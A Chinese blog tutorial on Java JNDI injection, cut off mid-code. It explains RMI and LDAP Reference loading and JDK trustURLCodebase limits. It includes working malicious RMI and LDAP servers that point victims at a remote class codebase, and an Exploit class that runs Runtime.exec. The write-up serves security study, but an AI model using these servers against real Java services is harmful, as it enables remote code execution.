参考文章:
https://b1ue.cn/archives/529.html
https://docs.oracle.com/javase/jndi/tutorial/TOC.html
https://tttang.com/archive/1441/
https://goodapple.top/archives/696
https://xz.aliyun.com/t/12277
https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
写在前面吧: 这篇文章我早就”抄“完了,因为最近在找工作(一言难尽),过了一段时间我回来看自己写的文章,简直就是一坨。网上对这种分析的文章数不胜数,而且感觉大家写的都非常好,但是轮到自己写的时候都是稀里糊涂就写完了。说是写文章其实就是根据其他师傅的文章进行复现,debug源码。当然这其中我还是有自己提出问题的,大部分问题也都自己去验证了。
也许,抄着抄着就会了?
最后也是写了JNDI注入的利用工具:https://github.com/N0boy-0/JNDIExploit(正在努力完成),有什么问题可以直接issue。
JNDI和各个服务的简单介绍 JNDI(Java Naming and Directory Interface)本质是可以操作目录服务、域名服务的一组接口。JNDI相当于在LDAP、RMI等服务外面再套了一层API,方便统一调用。调用JNDI的API可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有: JDBC、LDAP、RMI、DNS、NIS、CORBA。
Naming Service 命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作。
Directory Service 目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
DNS服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class Test { public static void main (String[] args) throws NamingException, RemoteException { Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory" ); env.put(Context.PROVIDER_URL, "dns://114.114.114.114" ); try { DirContext ctx = new InitialDirContext (env); Attributes res = ctx.getAttributes("baidu.com" , new String [] {"A" }); System.out.println(res); } catch (NamingException e) { e.printStackTrace(); } } } public class Test { public static void main (String[] args) throws NamingException, RemoteException { try { DirContext ctx = new InitialDirContext (); Attributes res = ctx.getAttributes("dns:baidu.com" , new String [] {"A" }); System.out.println(res); } catch (NamingException e) { e.printStackTrace(); } } }
使用JNDI调用dns服务去查询baidu.com的ip地址
这里看到ctx是一个DirContext
对象,说明他是一个目录对象,这个目录对象的属性便是baidu.com
的ip记录。
RMI服务 RMI
是一种用于在不同 Java 虚拟机(JVM)之间进行远程方法调用的机制。它允许对象在不同的 JVM 中进行交互,就像在同一 JVM 中调用对象的方法一样。RMI 主要用于实现分布式应用程序,允许客户端和服务器之间进行远程通信。
我们需要定义一个远程接口,该接口将声明我们希望远程调用的方法。
1 2 3 4 5 6 7 8 9 package com.lucifer;import java.rmi.Remote;import java.rmi.RemoteException;public interface Hello extends Remote { String sayHello () throws RemoteException; }
实现这个接口和接口内的方法,生成的实例将会是之后远程调用方法的作用对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.lucifer;import java.rmi.server.UnicastRemoteObject;import java.rmi.RemoteException;public class HelloImpl extends UnicastRemoteObject implements Hello { protected HelloImpl () throws RemoteException { super (); } @Override public String sayHello () throws RemoteException { return "Hello, world!" ; } }
创建服务端,并将对象与字符串绑定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.lucifer;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main (String[] args) { try { HelloImpl hello = new HelloImpl (); Registry registry = LocateRegistry.createRegistry(1099 ); registry.rebind("Hello" , hello); System.out.println("RMI Server is ready." ); } catch (Exception e) { e.printStackTrace(); } } }
创建客户端调用远程方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.lucifer;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient { public static void main (String[] args) { try { Registry registry = LocateRegistry.getRegistry("localhost" , 1099 ); Hello stub = (Hello) registry.lookup("Hello" ); String response = stub.sayHello(); System.out.println("Response from server: " + response); } catch (Exception e) { e.printStackTrace(); } } }
客户端获取远程对象(这里其实并不是远程对象而是远程对象票据stub,然后通过stub与服务端通信)并调用方法,在服务端执行后将结果返回。其中RMI注册端就提供了一个简单的命名服务,RMI注册端负责将对象与字符串绑定起来,那为什么还要有JNDI呢?其实JNDI就是一个接口,便于统一管理这样的服务而已。
在JNDI如何调用rmi服务呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.jndiTest;import com.lucifer.Hello;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RemoteException;public class JNDILookup { public static void main (String[] args) { try { String url = "rmi://127.0.0.1:1099/Hello" ; InitialContext initialContext = new InitialContext (); Hello lookup = (Hello) initialContext.lookup(url); System.out.println(lookup.sayHello()); } catch (NamingException e) { e.printStackTrace(); } catch (RemoteException e) { throw new RuntimeException (e); } } }
运行之后会输出Hello, world! JNDI已经成功调用了本地开启的RMI服务。
LDAP服务 LDAP(轻型目录访问协议)是一种软件协议 ,使任何人都可以在公共互联网或公司内网上查找网络中的组织,个人和其他资源(例如文件和设备)的数据 。LDAP 是目录访问协议(DAP)的“轻量级”版本,它是 X.500( 网络中目录服务的标准 )的一部分。
目录告诉用户某些内容在网络中的位置。在TCP / IP 网络上,域名系统(DNS)是用于将域名与特定网络地址(网络上的唯一位置)相关联的目录系统。但是,用户可能不知道域名。LDAP 允许用户搜索个人,而无需知道他们的位置(尽管其他信息将对搜索有所帮助)。
dc(Domain Component)
用于表示域名的组成部分。它通常用于定义 LDAP 目录的根节点。例如dc=luc1fer,dc=cn
.
cn(Common Name)
用于表示某个具体的对象或条目的名称,通常用于用户、组或其他实体的名称。例如cn=John Doe
.
dn(Distinguished Name)
是该条目的唯一标识符,例如uid=john,ou=users,dc=luc1fer,dc=cn
,特别指明一个条目.
下面是一个例子便于理解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import cn.luc1fer.servers.LDAPServer;import com.sun.jndi.dns.DnsContext;import com.sun.jndi.ldap.LdapCtx;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.sdk.Attribute;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldif.LDIFException;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.directory.Attributes;import javax.naming.directory.InitialDirContext;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;import java.net.UnknownHostException;import java.rmi.RemoteException;public class LdapServerTest { private void start (String ip, Integer port) throws UnknownHostException, LDAPException, NamingException, RemoteException { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ("dc=luc1fer,dc=cn" ); InMemoryListenerConfig listenConfig = new InMemoryListenerConfig ( "ldap" , InetAddress.getByName(ip), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() ); config.setListenerConfigs(listenConfig); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); ds.startListening(); ds.add( "dc=luc1fer,dc=cn" , new Attribute ("objectClass" , "top" ), new Attribute ("objectClass" , "domain" ), new Attribute ("dc" , "luc1fer" ) ); ds.add( "ou=users,dc=luc1fer,dc=cn" , new Attribute ("objectClass" , "organizationalUnit" ), new Attribute ("ou" , "users" ) ); ds.add( "uid=john,ou=users,dc=luc1fer,dc=cn" , new Attribute ("objectClass" , "inetOrgPerson" ), new Attribute ("uid" , "john" ), new Attribute ("cn" , "John Doe" ), new Attribute ("sn" , "Doe" ), new Attribute ("mail" , "john.doe@example.com" ), new Attribute ("userPassword" , "password123" ), new Attribute ("telephoneNumber" , "+1555123456" ), new Attribute ("title" , "Software Engineer" ) ); System.out.println("LDAP server started successfully..." ); } public static void main (String[] args) throws IOException, LDAPException, NamingException { LdapServerTest ldapServer = new LdapServerTest (); ldapServer.start("127.0.0.1" , 389 ); InitialDirContext initialContext = new InitialDirContext (); Attributes attributes = initialContext.getAttributes("ldap://127.0.0.1:389/uid=john,ou=users,dc=luc1fer,dc=cn" ); System.out.println(attributes.get("title" )); } }
LDAP和DNS一样提供的是一个目录服务,生成的是一个树形目录结构,在检索的时候一级一级的检索下去,从上面的例子不难看出LDAP可以用来做身份认证。
1 2 3 4 5 ---luc1fer.cn | ---users | --- john (各种属性)
lookup方法 在JNDI中有一个核心方法,也是JNDI注入漏洞触发的方法lookup()
。InitialDirContext.lookup()
和InitialContext.lookup()
均能触发JNDI注入。
1 2 3 4 5 6 Hashtable<Object, Object> env = new Hashtable <>(); env.put(Context.PROVIDER_URL, "dns://114.114.114.114" ); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory" ); InitialContext initialContext = new InitialContext (env);initialContext.lookup("rmi://127.0.0.1:1099/Exploit" );
JNDI的InitialContext初始化的参数可以指定初始化工厂Context.INITIAL_CONTEXT_FACTORY
和提供服务的地址Context.PROVIDER_URL
,例如DNS服务可以指定DNS服务器的位置,而初始化工厂提供了该服务的初始上下文。在InitialContext
初始化的时候,如果用户指定了INITIAL_CONTEXT_FACTORY
便会调用getDefaultInitCtx()
将用户指定的ContextFactory进行实例化后返回。
lookup方法有一个特性就是动态解析协议,如果方法参数是一个绝对地址例如rmi://xxxxx/xx
或者ldap://xxxx/xxx
的情况下,lookup方法会动态创建对应的SchemaUrlContext。具体做法:在lookup
方法中会解析传入字符串的协议 (由getURLScheme
方法来完成),如果协议不为空则到com.sun.jndi.url
对应的包下加载对应的URLContextFactory
。
lookup的动态解析:只有在scheme为空的情况下才会使用指定的ContextFactory,否则会根据协议使用默认的UrlContextFactory。
举一个例子理解吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.jndiTest;import com.lucifer.Hello;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RemoteException;import java.util.Hashtable;public class JNDILookup { public static void main (String[] args) { try { Hashtable<Object, Object> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/" ); InitialContext initialContext = new InitialContext (env); Hello lookup = (Hello) initialContext.lookup("Hello" ); System.out.println("response:" +lookup.sayHello()); Hello lookup1 = (Hello) initialContext.lookup("rmi://127.0.0.1:1098/Exploit" ); System.out.println("response:" +lookup1.sayHello()); } catch (NamingException e) { e.printStackTrace(); } catch (RemoteException e) { throw new RuntimeException (e); } } }
在本机开启两个服务,一个是正常的RMI服务,另一个是恶意的RMI服务,可以看到即使在指定RMI服务地址的情况下,使用绝对地址依然会触发漏洞。
Reference Reference
的作用是什么?为什么要引入它?
在Naming Service中,有一些庞大的对象存储起来可能并不方便且有些信息也不是你所需要的,所以引入了Reference,Reference中保存了如何生成这个对象的具体信息。Reference就相当于一个凭证,你可以利用这个凭证获取到你想要的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package javax.naming;public class Reference implements Cloneable , java.io.Serializable { protected String className; protected Vector<RefAddr> addrs = null protected String classFactory = null ; protected String classFactoryLocation = null ; }
RMI服务执行方法的是服务端,如何影响到客户端呢?
1 2 3 4 Context context = new InitialContext ();context.lookup("rmi://10.0.0.2:1099/evil" );
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,可以通过Reference类来绑定一个外部的远程对象。当客户端在lookup()查找这个远程对象时,服务端会将Reference传给客户端,客户端根据这个Reference获取相应的object factory,最终通过factory类将reference转换为具体的对象实例,JNDI调用远程Reference的时候会先尝试从本地的CLASSPATH中寻找该类,如果没有才用URLClassLoader远程进行加载。之后会执行该类的静态代码块、代码块、无参构造函数和getObjectInstance方法。
我看到一张图,来自https://goodapple.top/archives/696
Reference的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.jndiTest;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JNDIInjection { public static void main (String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://127.0.0.1:80/" ; Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("Exploit" , "Exploit" , url); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("Exploit" ,referenceWrapper); } }
这里可以看到调用完Reference
后又调用了ReferenceWrapper
将前面的Reference
对象给传进去,这是为什么呢? 其实查看Reference
就可以知道原因,查看到Reference
,并没有实现Remote
接口也没有继承 UnicastRemoteObject
类,前面讲RMI
的时候说过,将类注册到Registry
需要实现Remote
和继承UnicastRemoteObject
类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper
将他给封装一下。
具体的调用堆栈如下(环境为jdk8u65):
1 2 3 4 5 6 getObjectInstance:320 , NamingManager (javax.naming.spi), NamingManager.java decodeObject:464 , RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java lookup:124 , RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java lookup:417 , InitialContext (javax.naming), InitialContext.java main:18 , JNDILookup (com.jndiTest), JNDILookup.java
最后在NamingManager.getObjectInstance()
中调用了getObjectFactoryFromReference()
完成了远程加载类并初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
JNDI+RMI(Reference) JNDIServer,运行jndi服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.jndiTest;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class JNDIServer { public static void main (String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); Reference Exploit = new Reference ("Exploit" , "Exploit" , "http://localhost:8000/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper (Exploit); registry.bind("Exploit" , refObjWrapper); } }
JNDIClient,受害者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.jndiTest;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.directory.*;import java.util.Hashtable;import java.util.Properties;public class JNDILookup { public static void main (String[] args) { try { String url = "rmi://127.0.0.1:1099/Exploit" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); } catch (NamingException e) { e.printStackTrace(); } } }
恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class Exploit implements ObjectFactory { static { System.err.println("lucifer" ); try { String[] cmd = {"calc.exe" }; java.lang.Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } }
只需要将恶意类编译为class文件,在本地开启一个http服务器,可以用python3内置的http.server:python -m http.server 8000
,然后将class文件复制到当前目录就可以了。
高版本之后的Reference攻击就会失效了,因为从JDK8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值改为了 false。
原因探析:
在之前的版本中是没有这个校验的,直接就会调用getObjectInstance()
。
RMI远程对象引用安全限制
在RMI服务中引用远程对象将受本地Java环境限制,本地的java.rmi.server.useCodebaseOnly
配置如果为true
(禁止引用远程对象),为false则允许加载远程类文件。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false
(不信任远程引用对象),一样无法调用远程的引用对象。
JDK5u45、JDK6u45、JDK7u21、JDK8u121
开始,java.rmi.server.useCodebaseOnly
默认值改为了true。
JDK6u132、JDK7u122、JDK8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值改为了 false。
在高版本中测试远程对象引用可以使用如下方式允许加载远程的引用对象
1 2 System.setProperty("java.rmi.server.useCodebaseOnly" , "false" ); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" );
JNDI+LDAP(Reference) 如何构建LDAP恶意服务呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package com.jndiTest;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class ldapserver { public static final String BIND_HOST = "127.0.0.1" ; public static final int SERVER_PORT = 3890 ; public static void main (String[] args) { try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ("dc=test,dc=org" ); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName(BIND_HOST), SERVER_PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()) ); config.addInMemoryOperationInterceptor(new OperationInterceptor ()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); ds.startListening(); System.out.println("LDAP服务启动成功" ); }catch (Exception e){ e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry (base); try { String className = "Exploit" ; entry.addAttribute("javaClassName" , className); entry.addAttribute("javaFactory" , className); entry.addAttribute("javaCodeBase" , "http://localhost:8080/" ); entry.addAttribute("objectClass" , "javaNamingReference" ); result.sendSearchEntry(entry); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } catch (Exception e1) { e1.printStackTrace(); } } } }
上面是恶意的ldap服务,使用了拦截器,当请求ldap服务时,直接返回包含有恶意地址的Reference。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.jndiTest;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.directory.*;import java.util.Hashtable;import java.util.Properties;public class JNDILookup { public static void main (String[] args) { try { String url = "ldap://127.0.0.1:3890/Exploit" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); } catch (NamingException e) { e.printStackTrace(); } } }
执行的话和rmi一样只是服务换了一下而已,很多师傅都使用拦截器去实现恶意ldap Server。
还是跟RMI恶意服务一样,直接将恶意的Reference绑定到ldap服务的字符串上就好了。如何用ldap服务绑定恶意Reference?
方式一:
1 2 3 4 5 ds.add("dn: cn=evil,dc=javasec,dc=eki,dc=xyz" , "ObjectClass: javaNamingReference" , "javaCodebase: http://localhost:16000/" , "JavaFactory: xyz.eki.vuljndi.remote.DemoFactory" , "javaClassName: whatever" );
添加一条这样的恶意条目就行,如果一开始写的话,这些属性都需要去文档里找(我找了一圈也没找到)。但是通过看源码也可以构造出这样的恶意条目,后面讲。
方式二:就是用JNDI获取服务之后绑定对应的Reference,我使用的是这个方式,因为简单且便于理解(并不是因为这种方式有多好,只作讨论,其实拦截器的实现是比较好的,有助于解析用户执行,后续会写在github项目中)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import cn.luc1fer.servers.HttpFileServer;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.sdk.LDAPException;import javax.naming.Context;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.directory.InitialDirContext;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;import java.net.UnknownHostException;import java.rmi.RemoteException;import java.util.Hashtable;public class EvilLdapServer { private String ip; private Integer port; public EvilLdapServer (String ip, Integer port) { this .ip = ip; this .port = port; } public void start () throws UnknownHostException, LDAPException, NamingException, RemoteException { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ("dc=Exploit" ); config.setSchema(null ); InMemoryListenerConfig listenConfig = new InMemoryListenerConfig ( "ldap" , InetAddress.getByName(ip), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() ); config.setListenerConfigs(listenConfig); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); ds.startListening(); Reference reference = new Reference ("Exploit" , "Exploit" , "http://127.0.0.1:8080/" ); Hashtable<Object, Object> env = new Hashtable <>(); env.put(Context.PROVIDER_URL,"ldap://" +ip+":" +port); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory" ); InitialDirContext initialDirContext = new InitialDirContext (env); initialDirContext.rebind("dc=Exploit" ,reference); System.out.println("LDAP server started successfully..." ); System.out.println("LDAP server address is " +"ldap://" +ip+":" +port+"/dc=Exploit" ); } public static void main (String[] args) throws IOException, LDAPException, NamingException { EvilLdapServer evilLdapServer = new EvilLdapServer ("127.0.0.1" , 389 ); evilLdapServer.start(); } }
现在来说一下,根据源码如何看ldap中的属性如何设置。
在initialContext.lookup(“ldap://127.0.0.1:389/dc=Exploit”)处打断点,其实就是跟RMI一样找解析Reference的代码位置。
1 2 3 4 5 6 7 8 // 调用栈 测试环境依然为8u65 c_lookup:1049, LdapCtx (com.sun.jndi.ldap), LdapCtx.java p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx), ComponentContext.java lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx), PartialCompositeContext.java lookup:205, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java lookup:94, ldapURLContext (com.sun.jndi.url.ldap), ldapURLContext.java lookup:417, InitialContext (javax.naming), InitialContext.java main:10, JNDILookup (com.jndiTest), JNDILookup.java
在上面介绍Reference的时候也有过同样的分析,上面的调用栈中就是这个方法触发了最后的getObjectInstance()
,所以找到了第一个属性javaClassName
必须有
继续往下看一眼就知道返回的对象最后传入了getObjectInstance()
根据之前的调用栈,不放心的话可以调试之前的Reference看看传入的第一个参数是啥
继续跟进decodeObject()
到底要进哪个分支呢?看名字就知道第一个是反序列化,所以反序列化的属性就是
1 2 3 JAVA_ATTRIBUTES[2 ] = javaClassName JAVA_ATTRIBUTES[4 ] = javaCodeBase JAVA_ATTRIBUTES[1 ] = javaSerializedData
这为我们之后反序列化做准备。
最后一个铁定就是解析Reference的了因为写了decodeReference
,所需的属性:
1 2 3 4 JAVA_ATTRIBUTES[2] = javaClassName JAVA_ATTRIBUTES[0] = objectClass JAVA_ATTRIBUTES[3] = javaFactory JAVA_ATTRIBUTES[4] = javaCodeBase
这里需要注意要想调用到decodeReference()
需要var1不能为空且var1包含javanamingreference
或者javaNamingReference
其中一个。
同样也给出代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import cn.luc1fer.servers.HttpFileServer;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.sdk.Attribute;import com.unboundid.ldap.sdk.LDAPException;import javax.naming.NamingException;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;import java.net.UnknownHostException;import java.rmi.RemoteException;public class EvilLdapServer2 { private String ip; private Integer port; public EvilLdapServer2 (String ip, Integer port) { this .ip = ip; this .port = port; } public void start () throws UnknownHostException, LDAPException, NamingException, RemoteException { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ("dc=Exploit" ); config.setSchema(null ); InMemoryListenerConfig listenConfig = new InMemoryListenerConfig ( "ldap" , InetAddress.getByName(ip), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() ); config.setListenerConfigs(listenConfig); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); ds.add("dc=Exploit" , new Attribute ("javaClassName" ,"Exploit" ), new Attribute ("objectClass" ,"javanamingreference" ), new Attribute ("javaFactory" ,"Exploit" ), new Attribute ("javaCodeBase" ,"http://127.0.0.1:8080/" ) ); ds.startListening(); System.out.println("LDAP server started successfully..." ); System.out.println("LDAP server address is " +"ldap://" +ip+":" +port+"/dc=Exploit" ); } public static void main (String[] args) throws IOException, LDAPException, NamingException { EvilLdapServer2 evilLdapServer = new EvilLdapServer2 ("127.0.0.1" , 389 ); evilLdapServer.start(); } }
LDAP远程对象引用安全限制
LDAP在JDK6u211、7u201、8u191、11.0.1
后将com.sun.jndi.ldap.object.trustURLCodebase
的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly
影响)
我下载了几个不同版本的jdk对JNDI+RMI和JNDI+LDAP进行测试。
jdk_version
JNDI+RMI
JNDI+LDAP
8u65
success
success
8u111
success
success
8u121
fail
success
8u201
fail
fail
JNDI注入高版本失败的原因 先说一下JNDI+LDAP,在jdk8u341
中默认将com.sun.jndi.ldap.object.trustURLCodebase
设置为False
,且在helper.loadClass()
时会单独检测trustURLCodebase
,导致远程加载class失败。
LDAP可以通过loadClassWithoutInit()
加载本地工厂类,但是不能利用BeanFactory
,原因下面分析,只有下面的loadClass
方法才会检测trustURLCodebase。
在RMI的JNDI注入中,会调用com.sun.jndi.rmi.registry.RegistryContext#decodeObject
方法,在这里判断了trustURLCodebase
,在高版本的jdk中默认将trustURLCodebase
赋值为false。
所以想要绕过这个if语句需要让var8.getFactoryClassLocation() == null
,而var8就是我们构造的恶意Reference
。
在javax.naming.spi.NamingManager#getObjectInstance
会调用factory.getObjectInstance()
,虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类如果在受害目标本地的CLASSPATH中,就会实例化工厂,并调用getObjectInstance() 方法。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。
JNDI+LDAP(serialize) 根据上面代码调试结果继续进行分析
1 2 3 JAVA_ATTRIBUTES[2] = javaClassName JAVA_ATTRIBUTES[4] = javaCodeBase // 在高版本中这个选项可以不添加,因为没有用到 JAVA_ATTRIBUTES[1] = javaSerializedData
所以构造属性
1 2 3 4 ds.add("dc=Exploit", new Attribute("javaClassName","Exploit"), new Attribute("javaSerializedData",bytes) );
但是失败了,直接打断点调试,看看是什么问题?
因为我确实没用过ldap服务,在ldap服务中,所有条目都应该包含objectClass
这个属性,从上面的代码也可看到有在匹配objectClass,否则var4会重新初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.sdk.Attribute;import com.unboundid.ldap.sdk.LDAPException;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.*;import java.net.InetAddress;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Hashtable;public class EvilLdapServerSerialize { private String ip; private Integer port; public EvilLdapServerSerialize (String ip, Integer port) { this .ip = ip; this .port = port; } private void start () throws LDAPException, IOException { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ("dc=Exploit" ); config.setSchema(null ); InMemoryListenerConfig listenConfig = new InMemoryListenerConfig ( "ldap" , InetAddress.getByName(ip), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() ); config.setListenerConfigs(listenConfig); InMemoryDirectoryServer 